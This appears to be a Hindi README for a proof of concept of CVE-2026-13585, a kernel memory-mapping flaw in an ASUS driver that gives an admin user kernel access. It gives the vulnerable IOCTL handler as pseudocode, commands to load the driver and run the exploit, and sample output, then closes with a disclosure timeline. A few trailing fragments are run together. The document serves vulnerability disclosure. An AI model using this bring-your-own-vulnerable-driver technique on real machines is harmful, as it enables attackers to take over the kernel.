
CVE-2026-13585 के लिए प्रूफ ऑफ कॉन्सेप्ट
ASUS bsitf.sys (जिसे AsusBSItf.sys के रूप में भी वितरित किया जाता है) कर्नेल ड्राइवर IOCTL 0x222808 को उजागर करता है जो हमलावर-नियंत्रित आकार की भौतिक रूप से सन्निकट कर्नेल मेमोरी आवंटित करता है, इसे पूर्ण पढ़ने/लिखने की अनुमति के साथ कॉल करने वाली प्रक्रिया के पता स्थान में मैप करता है, और कॉलर को यूज़रमोड वर्चुअल पता और भौतिक पता दोनों लौटाता है।
डिवाइस को खोलने के लिए प्रशासक विशेषाधिकारों की आवश्यकता होती है, जो इसे प्रशासक-से-कर्नेल एस्केलेशन बनाता है। BYOVD (अपना स्वयं का असुरक्षित ड्राइवर लाएं) परिदृश्य में, एक हमलावर जिसके पास पहले से प्रशासक अधिकार हैं (उदाहरण के लिए, सोशल इंजीनियरिंग या एक अलग शोषण के माध्यम से) इस कानूनी रूप से हस्ताक्षरित ड्राइवर को लोड करके कर्नेल एक्सप्लॉइट की आवश्यकता के बिना मनमाना कर्नेल मेमोरी एक्सेस प्राप्त कर सकता है।
| संस्करण | फ़ाइल नाम | पैकेज | पूल प्रकार |
|---|---|---|---|
| 3.0.10.0 | bsitf.sys | ASUS Business Manager / AbmSvcPackage | NonPagedPool (executable) |
| 3.1.10.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
| 3.1.25.0 | AsusBSItf.sys | ASUS SCI / AsusSoftwareManager | NonPagedPoolNx |
सभी संस्करण डिवाइस \Device\bsitf को सिमलिंक \DosDevices\bsitf के साथ बनाते हैं।
मैप किया गया बफर एक नया कर्नेल पूल आवंटन है, न कि एक मनमाना कर्नेल पता। कॉलर इसकी सामग्री को नियंत्रित करता है लेकिन इसके स्थान को नहीं। यह वास्तविक मनमाने कर्नेल R/W की तुलना में शोषण को सीमित करता है।
v3.1.x संस्करणों (NonPagedPoolNx) पर, बफर गैर-निष्पादन योग्य है और व्यावहारिक प्रभाव DoS और भौतिक पता प्रकटीकरण तक सीमित है।
डिस्पैच हैंडलर में IOCTL 0x222808 बिना किसी इनपुट सत्यापन के निम्नलिखित कार्य करता है:
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer; // user-controlled
kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);
output[0] = user_va; // usermode virtual address
output[1] = physical_addr; // physical address of allocation
आवंटन आकार, बकाया आवंटन गणना, या इनपुट सत्यापन पर कोई जांच नहीं है। डिवाइस को खोलने के लिए प्रशासक की आवश्यकता होती है, लेकिन एक बार हैंडल प्राप्त हो जाने पर, IOCTL अप्रतिबंधित हैं।
cargo build --release
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf
# default: 0x1000 (4KB) allocation
cargo run --release
# custom size (hex)
cargo run --release -- 10000
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000
[+] device handle acquired
[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
usermode VA: 0x000001D856F90000
physical addr: 0x00000000BF6CB000
[*] original contents (first 16 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED
[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully
Windows 11 24H2 पर परीक्षण किया गया (प्रशासक की आवश्यकता है)।
NonPagedPoolNx का उपयोग करें| दिनांक | घटना |
|---|---|
| 2026-04-06 | स्वचालित विश्लेषण के माध्यम से कमजोरी की खोज |
| 2026-04-06 | Windows 11 24H2 पर PoC की पुष्टि |
| 2026-04-06 | ASUS PSIRT को रिपोर्ट प्रस्तुत की गई |
\Device\bsitf, सिमलिंक: \DosDevices\bsitfFUN_140001070यह प्रमाण-अवधारणा केवल अधिकृत सुरक्षा अनुसंधान और जिम्मेदार प्रकटीकरण उद्देश्यों के लिए प्रदान की गई है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है।